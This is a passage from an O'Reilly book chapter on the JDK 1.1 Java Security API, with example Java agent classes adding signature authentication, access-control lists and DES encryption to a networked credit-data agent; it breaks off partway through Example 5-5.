Companies or individuals that provide implementations of security algorithms can add their own implementations to the java.security API using the Provider interface. The provider creates implementations of the relevant interfaces in the API (Signature, KeyPairGenerator, etc.), then creates a subclass of the Provider interface. The Provider subclass will register the algorithms with the Security API, so that users can ask for their implementation of algorithms by name. So if you had implemented a better, faster version of the MD5 message digest format you would create a subclass of the java.security.MessageDigest class that used your implementation, and then create a subclass of Provider that would register your MD5 implementation under your chosen provider name ("Jim's Security," for example). Then a user of the Security API would use your MD5 implementation through the Security API by just asking for it by name:

MessageDigest digest =
    MessageDigest.getInstance("MD5", "Jim's Security");

5.2.2. The Core Security API

The high-level facilities provided by the Security API cover the identification of agents and the encoding or decoding of information passed between agents. These are the same issues we identified as critical security issues in an earlier section, since indentifying agents involves the certification and authentication of the agents, while data encoding and decoding requires some form of encryption.

The initial public release of the Java Security API in the JDK 1.1 included APIs for identifying and verifying agents, and using message digests and digital signatures. At the time of this writing, there is also an extension package, the Java Cryptography Extension (JCE™), that adds encryption interfaces to the Security API. These extensions are separated from the main Security API because the encryption code used in the JCE is not exportable outside the United States. In this chapter we'll discuss both elements of the overall Security API, but be warned that to use the encryption classes, such as Ciphers, you'll need to be a U.S. or Canadian citizen and download the JCE package from the Javasoft site.

The overall Java Security API includes interfaces for the following:

Identity management

These interfaces let you represent the identities of agents and create access control lists (ACLs) for resources that reference these identities. These interfaces include Principal, Identity, Signer, and the java.secu-rity.acl package.

Digital signatures

Digital signatures are used to sign messages and data, so that the receiver can verify the identity of the sender. Signatures are often implemented using public/private key pairs--a message is signed using the sender's private key, and the signature can be verified on the other end using the corresponding public key. The interfaces provided for generating and using digital signatures include Key, KeyGenerator, KeyPairGenerator, Signature, and MessageDigest.

Data encryption

Encryption algorithms are used to encode and decode data for secure transmission between agents. The key interface here is the Cipher, which is a general representation of an encryption algorithm.

In the rest of this chapter, we'll be looking at adding security to distributed applications using the Java Security API. To fuel the discussion, we'll be extending the simple agent shown in Example 5-1 to include user authentication and data encryption. The SimpleAgent is a basic network client that opens up a socket to a remote agent at a particular host and port number, and starts exchanging messages with it. The SimpleAgent keeps a queue of outgoing messages in its msgQueue data member: messages are added to the queue with the addMsg() method, and the nextMsg() method takes the first message off the queue and returns it. The SimpleAgent constructor takes a host name and port number as arguments, and opens a socket connection to the process listening to that port on the remote host. If the connection is made, it retrieves the input and output streams from the socket. The SimpleAgent also extends Thread, and its run() method is a loop in which it sends the next message in its queue to the remote process, reads a response message from the remote process, and handles the message by calling its processMsg() method. In this example, the processMsg() method does nothing, but subclasses of SimpleAgent could implement this method to interpret the message and act on it.

Example 5-1. A Simple Agent Class

package dcj.examples.security;

import java.lang.*;
import java.net.*;
import java.io.*;
import java.util.Vector;

public class SimpleAgent extends Thread {
  // Our socket connection to the server
  protected Socket serverConn;

  // The input/output streams from the other agent
  protected InputStream inStream;
  protected OutputStream outStream;

  // Message queue
  Vector msgQueue;

  public SimpleAgent(String host, int port)
      throws IllegalArgumentException {
    try {
      serverConn = new Socket(host, port);
    }
    catch (UnknownHostException e) {
      throw new IllegalArgumentException("Bad host name given.");
    }
    catch (IOException e) {
      System.out.println("SimpleAgent: " + e);
      System.exit(1);
    }

    try {
      inStream = new DataInputStream(serverConn.getInputStream());
      outStream = new DataOutputStream(serverConn.getOutputStream());
    }
    catch (Exception e) {
      inStream = null;
      outStream = null;
    }
  }

  public synchronized void addMsg(String msg) {
    msgQueue.addElement(msg);
  }

  protected synchronized String nextMsg() {
    String msg = null;
    if (msgQueue.size() > 0) {
      msg = (String)msgQueue.elementAt(0);
      msgQueue.removeElementAt(0);
    }
    return msg;
  }

  // Close the connection to the server when finished.
  protected void closeConnection() {
    try {
      serverConn.close();
    }
    catch (Exception e) {}
    inStream = null;
    outStream = null;
  }

  public void run() {
    // Go into infinite loop, sending messages, receiving responses, and
    // processing them...
    DataInputStream din = (DataInputStream)inStream;
    DataOutputStream dout = (DataOutputStream)outStream;
    while (true) {
      String msg = nextMsg();
      if (msg != null) {
        String inMsg = "", inToken = "";
        try {
          dout.writeChars(msg);
          while (inToken.compareTo("END") != 0) {
            inToken = din.readUTF();
            inMsg = inMsg + " " + inToken;
          }
          processMsg(inMsg);
        }
        catch (Exception e) {}
      }
    }
  }

  protected void processMsg(String msg) {}
}

To use the SimpleAgent class, you would create one first, using the host and port number of the remote agent with which you want it to communicate. Then you would call its run() method to start the message-passing process:

SimpleAgent myAgent = new SimpleAgent("remote.host.org", 1234);
myAgent.run();

In the examples in the remainder of this chapter, we'll add identity authentication and data encryption to this simple agent, to make sure that the information passed in its messages is secure. Although we'll be using a credit agent as our example application, we won't go into any details about the message protocol being used. These details aren't critical in a discussion about security, since our security measures will apply to any message protocol we decide to use.

Previous | Home | Next
5.1. Security Issues and Concerns | Book Index | 5.3. Identities and Access Control
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Identities and Access Control (Java Distributed Computing)

 Java Distributed Computing Search this book

5.3. Identities and Access Control

The Identity class represents an agent within the Security API. Identity implements the Principal interface, which is a generic representation of a person, group, or other named entity. An Identity has a name, which it inherits from the Principal interface, and other information that verifies the identity of the agent (a public key and assorted certificates, for example). A Signer is a subclass of Identity that also includes a private key that can be used to sign data. We'll discuss public and private keys and how they are created in more detail later in the chapter.

An Identity is created using a name for the agent being represented:

Identity fredsID = new Identity("Fred");

A public key and any available certificates can be added to Fred's identity to support the validity of his identity:

PublicKey fredsKey = ... // Get Fred's key
Certificate fredsCert = ... // Get Fred's certificate
Certificate fredsRSACert = ... // Get another certificate for Fred
fredsID.setPublicKey(fredsKey);
fredsID.addCertificate(fredsCert);
fredsID.addCertificate(fredsRSACert);

If we are also able to sign data using Fred's identity, then we'll also have a private key for Fred, and we can create a Signer object for him:

Signer signingFred = new Signer("Fred");
PrivateKey fredsSigningKey = ... // Get Fred's private key
PublicKey fredsPublicKey = ... // Get Fred's public key
signingFred.setKeyPair(new KeyPair(fredsPublicKey, fredsSigning Key));;

5.3.1. Access Control Lists

The java.security.acl package includes interfaces that let you define specific access rights for individual agents or groups of agents. In the same style as the rest of the Security API, this package defines an API for access-control lists, with few of the interfaces actually implemented in the package. Sun has provided a default implementation of the ACL package in their sun.security.acl package. We'll use classes from Sun's implementation to demonstrate ACLs.

Central to the java.security.acl package is the Acl interface, which represents an access-control list. An Acl has a group of owners associated with it, represented by Principal objects. Principal is a term often used in security circles to refer to a user or agent acting as a party in a secure transaction. Since both Identity and Signer are subclasses of Principal, you can use instances of either wherever a Principal is called for. Only owners of the Acl are supposed to be able to modify the Acl. Implementations of the Acl interface should enforce this by checking the keys and certificates on the Principals of the owners, to be sure that the agent creating or modifying the ACL has access to the certified elements of the identity of one of the owners of the ACL.

Each entry in the access-control list is represented as an AclEntry object, which associates specific identities with the permissions they have over the resource being controlled. An entry is added to the Acl using the addEntry() method, which takes the Principal for the entity and its AclEntry as arguments.

Each AclEntry defines a set of permissions given to the Principal over the resource being protected. Specific types of permission are represented using the Permission interface, which doesn't actually implement any behavior, but acts as a placeholder for subclasses that distinguish permissions in application-specific ways (permission names, binary typecodes, etc.). The sun.security.acl package provides an implementation of Permission called PermissionImpl that uses strings to identify permission types (e.g., "READ", "WRITE").

The Principal for an AclEntry is set using the setPrincipal() method on the entry. Once this is done, permissions for the Principal are added to the entry using the addPermission() method:

// Define a set of permission types
Permission read = new PermissionImpl("READ");
Permission create = new PermissionImpl("CREATE");
Permission update = new PermissionImpl("UPDATE");
Permission destroy = new PermissionImpl("DESTROY");
// Create some Principals
Principal person1 = new PrincipalImpl("Fred");
Principal person2 = new PrincipalImpl("Sally");
// Make an entry for each principal
AclEntry entry1 = new AclEntryImpl(person1);
AclEntry entry2 = new AclEntryImpl(person2);
// Give each principal their permissions:
// Fred can only read the resource
entry1.addPermission(read);
// Sally can do anything
entry2.addPermission(read);
entry2.addPermission(create);
entry2.addPermission(update);
entry2.addPermission(destroy);

Notice that we've used PrincipalImpl objects to represent Principals in the Acl. The PrincipalImpl class is a subclass of the Principal interface provided in the sun.security.acl package. In a real application, we would probably use an Identity or Signer object to represent a principal in the Acl. This would allow us to verify a digital signature from a remote client before we would allow that remote client to access the resource protected by the Acl.

Once the AclEntrys have been created, they can be added to the Acl with the addEntry() method. The method takes two arguments: a Principal argument that corresponds to the owner of the Acl making the entry, and the AclEntry itself. For example:

Principal myID = ... // Get my identity
Acl myAcl = ... // Create the Acl, setting me as an owner
// Now add the entries created above.
myAcl.addEntry(myID, entry1);
myAcl.addEntry(myID, entry2);

With the ACL in place, we can check incoming agents for the necessary permissions to do specific actions. If an agent contacts our agent and asks to update a resource, we can check the ACL of that resource for write permission for that agent using their Principal:

Principal remoteAgent = ... // Initialize Principal for remote agent
if (myAcl.checkPermission(remoteAgent, update)) {
    // Let the update action go through
}
else {
    // Disallow the action, and tell the agent
    // that it doesn't have the right permissions
}
Previous | Home | Next
5.2. The java.security Package | Book Index | 5.4. Keys: Public, Private, and Secret
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Keys: Public, Private, and Secret (Java Distributed Computing)

 Java Distributed Computing Search this book

5.4. Keys: Public, Private, and Secret

The Java Security API makes heavy use of both secret key and public key cryptography. The basics of creating and managing keys are provided by the Key interface and the KeyPair, KeyGenerator, and KeyPairGenerator classes in the java.security package.

Before we delve into how keys are supported in the Security API, it's important to understand the basics of public key cryptography algorithms, and the differences between them and the more well known secret key algorithms. Most of the features in the Java Security API, and most modern security APIs in general, support both secret key and public key algorithms. Readers that are already familiar with the concept of public key cryptography can skip over the next few sections.

5.4.1. Secret Keys

Early cryptographic systems used secret key methods for encoding private data. Secret key cryptography depends on the use of private keys for authentication and encryption. Two parties have to exchange secret keys with each other over some private, secure communications channel, and these keys are used to encode and decode messages. Each party has to have the other party's secret key in order to decode their messages. If attackers manage to steal or intercept a secret key, then they can listen in on communications or even impersonate one of the parties by sending encrypted messages using the stolen secret key.

Secret key cryptography has the advantage of simplicity. Algorithms for implementing secret key schemes are generally simpler and faster than the more complicated public key schemes. But there are some obvious problems with secret key cryptography. The basis for the security of the system is the secret key itself, but the secret key must be given to any agent that needs to communicate securely with you. This opens up the possibility of keys being stolen in transit, and finding a separate, secure way to transmit secret keys may be inconvenient, expensive, or just impossible.

5.4.2. Public Key Methods

In 1976, Diffie and Hellman published a paper describing a means for two parties to share cryptographic keys over a public communications channel without compromising the security of their private transmissions.[1] Essentially, the technique involves the use of two keys by each party, a private key and a public key. A message encrypted with one party's public key can only be decrypted with that party's private key. At the start of a conversation, two parties independently choose random private keys, which they keep to themselves. Then they generate a public key that is based on their private key. This public key can be freely shared with anyone, and can be used to encrypt messages to the party that owns the corresponding private key. Having the public key doesn't do an information thief any good, since it can't be used on its own to decrypt messages--you have to have the corresponding private key to do that. Public key encryption techniques are sometimes called asymmetric techniques, since a different process and key are used for encrypting messages than for decrypting messages.

[1]Diffie & Hellman, "New Directions in Cryptography," IEEE Transactions on Information Theory IT-22, November 1976.

The original form of public key cryptography described by Diffie and Hellman was vulnerable to the host-spoofing attack we described earlier, where a third party impersonates one or both of the communicating parties in order to steal the information being transmitted. Since public keys are transmitted as clear data, if a third party were to insert itself between the two agents on the network, it could intercept the public keys from each agent, and replace them with its own public key or keys. The two parties would then encrypt messages using the hostile party's keys. The hostile party could intercept these messages, decrypt them with its private keys, and re-encrypt them using the original intercepted public keys. This information theft could go on indefinitely, since the two parties wouldn't have any sign that a third party had injected itself into their conversation (except maybe some additional latency). To close this security hole, the concept of public key certificates was developed, to allow each party to verify the correspondence of a public key with a particular person or organization. A certificate contains some person's name and public key, and has been encrypted by the private key of a certification authority. The certification authority is an organization responsible for verifying the person's identity; it has made its public key widely available, so it can be used to decrypt the certificates it issues. When starting a network session, each party sends its certificate. When the certificate is received, the certifying authority's public key can be used to check the certificate for authenticity. If it checks out, then we can be assured that the public key for the other party is authentic. So a third party can't impersonate another by issuing a false public key, since they don't have a certificate matching the fake public key to the person they're trying to impersonate.

Public key cryptography, when it's extended to include certificates for authenticating the owner of public keys, is a powerful way to authenticate agents and carry out secure communications with them. And we can carry out secure communications without the need for secondary, private channels for secret key transmissions. The main disadvantage to public key methods is the additional overhead involved in encoding and decoding information. Since it relies on a more complex mathematical algorithm, secure public key I/O involves using more CPU time per kilobyte of data transferred and received.

5.4.3. Keys in the Java Security API

The Key interface represents a cryptographic key. The key could be a public or private key for public key algorithms such as RSA, or it could be a secret key for algorithms based on them, such as some block-cipher algorithms. A Key has an algorithm associated with it, and the name of the algorithm can be gotten using the getAlgorithm() method. Key generation is algorithm-specific, and knowing the algorithm used to generate a key can be important later. There are PublicKey and PrivateKey subclasses of Key that represent the public and private elements of a key pair, and there is also a SecretKey subclass for secret keys. These subclasses don't add any functionality to the Key interface. They just provide a way to distinguish one type of key from another.

The KeyPair class is a holder for a PublicKey and its corresponding PrivateKey. You can get the private and public elements of the KeyPair using the getPrivate() and getPublic() methods.

Key pairs are generated through the KeyPairGenerator class. A KeyPairGenerator instance is created using the static getInstance() method, using an algorithm name to specify what type of keys are needed:

KeyPairGenerator keyPairGen = KeyPairGenerator.getInstance("RSA");

Every key-pair generator has a strength factor and a random number generator parameter that can be changed using the initialize() methods on KeyPairGenerator before generating any keys:

keyPairGen.initialize(1024, new SecureRandom());

The SecureRandom class is a pseudo-random number generator provided in the java.security package. The strength and random-number generator parameters are interpreted and used in algorithm-specific ways by the actual implementations of the KeyPairGenerator class. You can also initialize a key-pair generator with algorithm-specific parameters by casting the generated KeyPairGenerator object to its subtype, and calling specialized initialize() methods for the subclass. For example, we created a generator for the RSA algorithm, so we can cast our KeyPairGenerator to an RSAKeyPairGenerator and call its initialize method, which takes a strength parameter, a public exponent for the key generation, and a random-number generator:

RSAKeyPairGenerator rsaKeyPairGen = (RSAKeyPairGenerator)keyPairGen;
BigInteger myExp = ... // Create custom exponent
rsaPairKeyGen.initialize(1024, myExp, new SecureRandom());

You should only need to do this algorithm-specific initialization if you have specific values for the algorithm parameters that are required by your application. Implementations of the KeyPairGenerator class will generally provide default values for all of their algorithm parameters.

Once the KeyPairGenerator is created and, if necessary, initialized, then you create a new KeyPair using the generateKeyPair() method:

KeyPair myKeyPair = keyPairGen.generateKeyPair();

Secret key algorithms require the use of SecretKey objects instead of public/private key-pairs. SecretKeys are generated using the KeyGenerator class. A KeyGenerator is created for a particular algorithm, using the static getInstance() method on KeyGenerator:

KeyGenerator keyGen = KeyGenerator.getInstance("DES");

The KeyGenerator can be initialized, if necessary, with a random-number generator if the default one is not sufficient:

keyGen.initialize(new SecureRandom(mySeed));

Finally, a new SecretKey can be generated using the generateKey() method:

SecretKey myKey = keyGen.generateKey();

The public, private, and secret keys generated this way can be used to create digital signatures, create message digests, and encrypt data, as described in the coming sections.

Previous | Home | Next
5.3. Identities and Access Control | Book Index | 5.5. Digital Signatures
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Digital Signatures (Java Distributed Computing)

 Java Distributed Computing Search this book

5.5. Digital Signatures

Certification and authentication are used to protect access to resources in general, by ensuring that only those authorized to have them can get them. An entity (e.g., person, host, software agent) is given some kind of certification of their identity or membership in a particular group (e.g., "Fred Smith," "employee of company X," "all computers in department Y"). The entity has to offer this certificate in order to be authenticated and given access to the resources being protected.

A typical example of certification in practice is restricting FTP sites to a selected list of hosts on the network. A remote host has to provide its IP address when requesting an FTP connection to the site. The restricted FTP site looks up the IP address in its access table to see if the remote host is certified to access the files on this server. The IP address, then, is acting as an access certificate for this transaction, and the FTP server authenticates the remote host by checking the IP address against its access table. In encrypted data transfers, the encryption key is also acting as a sort of certificate for the receiving party, indicating that they have authority to read the information being sent.

5.5.1. A Motivating Example: A Credit Agent

If you look closely at our SimpleAgent example in Example 5-1, you'll notice that the agent doesn't make any attempt to check who is at the other end of the socket that it opens. In some applications, this might not be a problem. But let's suppose that we're designing a database query agent for a credit-card holding company, servicing requests for credit information about account holders. We decide to implement this query agent with a subclass of SimpleAgent called CreditAgent, shown in Example 5-2. This subclass implements the processMsg() method from SimpleAgent by checking each message from the remote agent for information about the identity of the account being checked. Once the account name has been retrieved from the client's message, the CreditAgent retrieves the information from the database with a getCreditData() method. (In this example, the getCreditData() method isn't fully implemented.) The processMsg() method puts the retrieved account information into a return message, and adds the message to the queue to be sent to the remote agent.

Example 5-2. A Networked Credit Agent

package dcj.examples.security;

import java.io.*;

public class CreditAgent extends SimpleAgent {
  public CreditAgent(String host, int port) {
    super(host, port);
  }

  protected void processMsg(String msg) {
    String name = null;
    String cmd = null;
    String retMsg = new String();

    // Parse the command and account name from the input stream.
    StreamTokenizer stok = new StreamTokenizer(new StringReader(msg));
    try {
      stok.nextToken();
      cmd = stok.sval;
      name = stok.sval;
    }
    catch (IOException e) {}

    if (cmd.compareTo("GET") == 0) {
      String cData = getCreditData(name);
      retMsg = name + " " + cData;
    }
    else {
      retMsg = "UNKNOWN_CMD";
    }

    // Add return message with results to the message queue.
    addMsg(retMsg);
  }

  protected String getCreditData(String acctName) {
    // Real method would use account name to
    // initiate a database query...
    return "No info available.";
  }
}

Can you see where this is leading? This agent will obviously need to authenticate the identity of remote agents requesting this sensitive credit information, to ensure that they're authorized to receive it. In its current form, a client only needs to know the name of an account in order to retrieve credit information about that account. This information is readily available to just about anyone who cares to find it, so it certainly doesn't qualify as the basis for authenticating remote agents.

5.5.2. Public Key Signatures for Authentication

The Java Security API provides the Signature class as a way to generate a digital signature, or to verify the identity of a remote agent that is sending you data. The Signature class uses public/private key pairs to generate and verify signatures. The party sending a signed message generates a signature by taking a piece of data and encoding it using their private key into a digital signature:

PrivateKey myKey = ... // Retrieve my private key
byte[] data = ... // Get the data to be signed
Signature mySig = Signature.getInstance("RSA");
mySig.initSign(myKey);
mySig.update(data);
byte[] signedData = mySig.sign();

A Signature is created using the static Signature.getInstance() method with the name of the algorithm for the signature. The signature is initialized for signing by passing a PrivateKey into its initSign() method. The private key used to initialize the signature presumably comes from a key pair created earlier, where the private key was stored securely on the local host and the public key was communicated to other agents as needed. The signature is given data to be signed using its update() method, and the digital signature for the data is gotten by calling the sign() method. After this call is made, the Signature data is reset, and another piece of data can be signed by calling update() and sign() in sequence again. Note that the update() method can be called more than once before calling sign(), if the data to be signed is stored in separate data items in memory.

Now the original data and the digital signature for the data can be sent to another agent to verify our identity. Assuming that the remote agent already has our public key, the data and the signature can be sent over a simple stream connection:

DataOutputStream dout = ... // Get an output stream to the agent
dout.writeInt(data.length);
dout.write(data);
dout.writeInt(signedData.length);
dout.write(signedData);

Before each set of bytes is sent, we send the size of each chunk of data, so that the remote host knows how many bytes to expect in each piece of data. On the remote host, the data and signature can be read from the stream connection:

DataInputStream din = ... // Get an input stream from the signer
int dataLen = din.readInt();
byte data[] = new byte[dataLen];
din.read(data);
int sigLen = din.readInt();
byte sig = new byte[sigLen];
din.read(sig);

To verify the signature, the agent creates a Signature object using the signer's public key, initializes it with the raw data from the signer, and then verifies the signature from the signer:

Signature theirSig = Signature.getInstance("RSA");
PublicKey theirKey = ... // Get public key for remote agent
theirSig.initVerify(theirKey);
theirSig.update(data);
if (theirSig.verify(sig)) {
    System.out.println("Signature checks out.");
}
else {
    System.out.println("Signature failed. Possible imposter found.");
}

The agent receiving the signature also uses a Signature object to verify the signature. It creates a Signature and initializes it for verification by calling its initVerify() method with the signing agent's PublicKey. The unsigned data from the remote agent is passed into the Signature through its update() method. Again, the update() method can be called multiple times if the data to be verified is stored in multiple objects. Once all of the unsigned data has been passed into the Signature, the signed data can be verified against it by passing it into the verify() method, which returns a boolean value.

5.5.3. An Authenticating Credit Agent

To make our credit agent more secure, we've created a subclass of our SimpleAgent class called AuthAgent, shown in Example 5-3. After the SimpleAgent constructor creates a socket connection to the remote agent, the AuthAgent constructor attempts to authenticate the remote agent by reading a message from the agent with a digital signature. First it reads an identifier for the agent from the input stream, so that it can look up the agent's public key. Then it reads a set of data and the corresponding signature for the data. The agent ID, original data, and data signature are passed to the authenticate() method for verification. The authenticate() method first looks up the named agent's PublicKey from some kind of local storage, using a lookupKey() method whose implementation is not shown here. If the key is found, then a Signature is created using the algorithm specified by the PublicKey. The Signature is initialized for verification using the agent's PublicKey. Then the original data is passed into the Signature's update() method, and the digital signature from the agent is verified by calling the verify() method. If the signature checks out, then we initialize an Identity data member with the remote agent's name and PublicKey.

Example 5-3. An Authenticating Agent

package dcj.examples.security;

import java.lang.*;
import java.net.*;
import java.io.*;
import java.security.*;

public class AuthAgent extends SimpleAgent {

  Identity remoteAgent = null;

  public AuthAgent(String host, int port)
      throws IllegalArgumentException {

    super(host, port);
    DataInputStream din = new DataInputStream(inStream);

    // Try to authenticate the remote agent
    try {
      String agentId = din.readUTF();
      int dataLen = din.readInt();
      byte[] data = new byte[dataLen];
      din.read(data);
      int sigLen = din.readInt();
      byte[] sig = new byte[sigLen];
      din.read(sig);

      if (!authenticate(agentId, data, sig)) {
        // Failed to authenticate: write error message, close socket and
        // return
        System.out.println("Failed to authenticate remote agent " +
        closeConnection();
      }
      else {
        // Remote agent is authenticated, first message is a welcome
        addMsg("HELLO " + agentId);
      }
    }
    catch (Exception e) {
      closeConnection();
    }
  }

  protected boolean authenticate(String id, byte[] data, byte[] sig) {
    boolean success = false;
    PublicKey key = lookupKey(id);
    try {
      // Set up a signature with the agent's public key
      Signature agentSig = Signature.getInstance(key.getAlgorithm());
      agentSig.initVerify(key);
      // Try to verify the signature message from the agent
      agentSig.update(data);
      success = agentSig.verify(sig);

      if (success) {
        // Agent checks out, so initialize an identity for it
        remoteAgent = new Identity(id);
        remoteAgent.setPublicKey(key);
      }
    }
    catch (Exception e) {
      System.err.println("Failed to verify agent signature.");
      success = false;
    }

    return success;
  }
}

Using this subclass of SimpleAgent, we can make our CreditAgent authenticate the agents requesting credit data by checking their authenticated identities against an access list. The updated credit agent is called AuthCreditAgent, and is shown in Example 5-4. The AuthCreditAgent extends the AuthAgent subclass, and adds an Acl for the credit data it's serving. The constructor, after calling its parent classes' constructors to initialize and authenticate the connection to the remote agent, initializes an Acl object with the access rights given to various agents over the credit data by calling its initACL() method. This data might be retrieved from a relational database, or from some kind of directory service. (The details of the implementation of initACL() are not shown.)

Example 5-4. An Authenticating Credit Agent

package dcj.examples.security;

import java.io.*;
import java.security.*;
import java.security.acl.*;

public class AuthCreditAgent extends AuthAgent {

  protected Acl creditACL;

  public AuthCreditAgent(String host, int port) {
    super(host, port);
    // Initialize our access control lists
    initACL();
  }

  protected void initACL() {
    creditACL = new Acl();
    // Read resources and access permissions
    // from a database, initialize the ACL object
    // ...
  }

  protected void processMsg(String msg) {
    String name = null;
    String cmd = null;
    String retMsg = new String();

    // Parse the command and account name from the input stream.
    StreamTokenizer stok = new StreamTokenizer(new StringReader(msg));
    try {
      stok.nextToken();
      cmd = stok.sval;
      name = stok.sval;
    }
    catch (IOException e) {}

    if (cmd.compareTo("GET") == 0) {
      if (isAuthorized(remoteAgent, name, "READ")) {
        String cData = getCreditData(name);
        retMsg = name + " " + cData;
      }
      else {
        retMsg = "UNAUTHORIZED";
      }
    }
    else {
      retMsg = "UNKNOWN_CMD";
    }

    // Add return message with results to the message queue.
    addMsg(retMsg);
  }

  protected String getCreditData(String acctName) {
    // Real method would use account name to
    // initiate a database query...
    return "No info available.";
  }

  protected boolean isAuthorized(Identity agent,
                                 String acctName, String access) {
    boolean auth;
    Permission p = new PermissionImpl(access);
    auth = creditACL.checkPermission(agent, p);
    return auth;
  }
}

With the remote agent authenticated and an access control list initialized, the AuthCreditAgent processes messages in its processMsg() method much as it did before. The difference is that, before looking up the credit data for an account and sending it back to the agent, the agent's access is checked by calling the isAuthorized() method and passing the agent's Identity, the account name, and the type of access required ("READ" access, in this case). The isAuthorized() method simply calls the checkPermission() method on the ACL object to verify that the authenticated agent has the required permissions on the account being accessed. In this example implementation, we're simply checking the global access rights of the user, rather than the user's access to the given account. In processMsg(), if the agent is authorized, then the data is retrieved and returned to the agent in a message. If not, then a curt "UNAUTHORIZED" message is returned to the agent.

5.5.4. Certification: The Last Identity Link

Our credit agent has come a long way from its initial, rather insecure incarnation. A remote agent now has to provide both an account name and a valid digital signature in order to even make a connection with the AuthCreditAgent. And once it has the connection, it has to be on the access control list for the account before the credit agent will release any information about it.

What we haven't answered yet is the question of how the client gets added to the access list. Somehow the credit agent has to get the remote agent's public key, verify their identity, and authorize them with the right access privileges based on their identity.

5.5.5. Distributing Certified Public Keys

A PublicKey can be distributed to other agents on the network pretty easily. Since the Key interface extends Serializable, you can send a key over an ObjectOutputStream to a remote agent:

OutputStream out = socket.getOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
PublicKey myKey = ... // Get my public key
// Send my name
objOut.writeObject(new String("Jim"));
// Send my key
objOut.writeObject(myKey);

The remote agent can read my key off of its input stream and store the key on a local "key-ring":

InputStream in = socket.getInputStream();
ObjectInputStream objIn = new ObjectInputStream(in);
String name = (String)objIn.readObject();
PublicKey key = (PublicKey)objIn.readObject();
storeKey(key, name);

But who's to say it was really me that sent the key along with my name? As we mentioned earlier, a sneaky attacker could pretend to be me, send an agent my name with her own public key, and proceed to access resources using my identity. As we mentioned earlier, this problem is solved by certificates. A certificate acts as corroborating evidence of an agent's identity. In most certification scenarios, a well-known certification authority (CA) verifies the identity of an agent with whatever means it deems necessary, physical or otherwise. When the authority is certain of the agent's identity, a certificate is issued to the agent verifying its identity. The certificate is typically signed with the CA's own digital signature, which has been communicated to parties that will need to verify agents using certificates issued by the CA. This communication may use secure, offline channels, or even nonelectronic delivery by known individuals. In any event, a CA will typically be known by many other agents on the network, and its identity can be reverified if it's believed that their signature has been forged.

Once an agent has a certificate attesting to its identity, it can broadcast its public key to other parties by sending the key over open channels, then sending a digital signature that includes its certificate. The certificate itself can be used as the data to be signed. The party receiving the signature can verify the agent's public key by verifying the signature against the data message, and then verifying the identity behind the public key by checking the certificate with the certification authority that it came from. If the certificate checks out, then we can be assured that the agent is the agent named in the certificate, and that the agent has a private key corresponding to the public key it sent us. In order to break through these security barriers, a hostile attacker would have to fool a certificate authority into thinking she is someone else, which any respectable CA will not allow to happen, or she would have to create a false certificate for her public key from a CA, which is not possible assuming that the certificate can be verified directly with the CA, and that the cryptographic algorithm used by the CA to generate their signature is not breakable.

Various standard certificate formats, such as X.509 and PKCS, have been defined and are in use in digital commerce, secure email, etc. At the time of this writing, the Java Security API does not include an API for generating or verifying these certificates. Support for standard certificate formats is promised in Java 1.2.

Previous | Home | Next
5.4. Keys: Public, Private, and Secret | Book Index | 5.6. Data Encryption
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Data Encryption (Java Distributed Computing)

 Java Distributed Computing Search this book

5.6. Data Encryption

Now we've seen how you can authenticate a remote agent talking to you over the network, but what about the security of the data you're exchanging? Our AuthCreditAgent checks the identity of the requesting agent before sending account information to them, but once it does, the data is sent unencoded over the network as a message:

String msg = nextMsg();
    ...
dout.writeUTF(msg);

So if the data is all an attacker is after, and he couldn't easily bypass our authentication system, he could eavesdrop on the network communications and collect the data that way. To prevent this, you want to encode, or encrypt, the data before it's transmitted, in such a way that only the intended recipient can decode the data.

5.6.1. Ciphers for Secure Data Transfers

The Java Cryptography Extension to the Java Security API provides the java.security.Cipher class for implementing secure, encrypted data transfers. A Cipher can be used on the sending end of a transmission to encrypt data, and on the receiving end to decrypt data. A Cipher is created using the getInstance() method common to the Java Security API, passing in the name of an algorithm to be used for encryption:

Cipher sendCipher = Cipher.getInstance("DES");

In this example, we're creating a Cipher that uses the DES algorithm to encrypt data. This algorithm is a symmetric encryption algorithm, which means that it needs to use the same secret key for both the encryption and decryption of data at either end of the transmission link. Other encryption schemes are considered asymmetric, in that they use different keys for encryption and decryption. This term is usually used to refer to encryption algorithms that are based on public key methods. With an asymmetric cipher, a message might be encrypted using an agent's public key, and can only be decrypted using the corresponding private key. The advantage of asymmetric encryption is that we can transmit public keys to other agents in the clear. Symmetric encryption requires that we securely transmit a secret key between two parties. The advantage of symmetric encryption is performance; symmetric algorithms usually take less CPU time to encrypt and decrypt data. Where performance is an issue, you can use a combination of symmetric and asymmetric encryption. A secret key can be transmitted between two parties first, using their public keys and asymmetric encryption on the secret key. Then the rest of the communication can be carried out using symmetric encryption, with the secret key.

For sending data, the Cipher that we create needs to be initialized with a key to use to encrypt the data. This is done by passing the Key into the initEncrypt() method on the Cipher:

Key encodeKey = ...;   // Get key to be used for encrypting data
sendCipher.initEncrypt(encodeKey);

The data to be encrypted is passed into the Cipher's crypt() method next:

byte[] sensitiveData = ...;
byte[] encodedData = sendCipher.crypt(sensitiveData);

The encoded data can now be transmitted safely to another party, where it can be decoded only if the right key and algorithm are used.

The procedure for decrypting the message is similar. A Cipher object is created just as in the encryption stage, but it is initialized for decryption using the proper key:

Key decodeKey = ...;   // Get the key to be used for decrypting data
receiveCipher.initDecrypt(decodeKey);

Once the encoded data is received, either over a Socket connection or through some other means, the receiver can decrypt it using the crypt() methods on the decrypting Cipher:

byte[] sensitiveData = receiveCipher.crypt(encodedData);

5.6.2. Back to Our Credit Agent

Now we can add data encryption to our credit agent, so that the account information sent back to the remote agent is safe from prying eyes. First, we'll make a new subclass of our SimpleAgent, called SecureAgent, that includes all of the authentication abilities of the AuthAgent from Example 5-3, plus the ability to encrypt and decrypt messages. The SecureAgent is shown in Example 5-5. The SecureAgent has an extra data member, cryptKey, which is a Key to be used to encrypt and decrypt messages sent to and from the remote agent. For this example, we'll assume that we're using a symmetric, secret key encryption algorithm to encode messages. The key used for the cipher may have been initialized with a handshaking process involving an asymmetric algorithm, as we described earlier.

Example 5-5. An Agent with Authentication and Encryption

package dcj.examples.security;

import java.lang.*;
import java.net.*;
import java.io.*;
import java.security.*;

public class SecureAgent extends SimpleAgent {

  // The Identity of the agent we're connected to
  Identity remoteAgent = null;
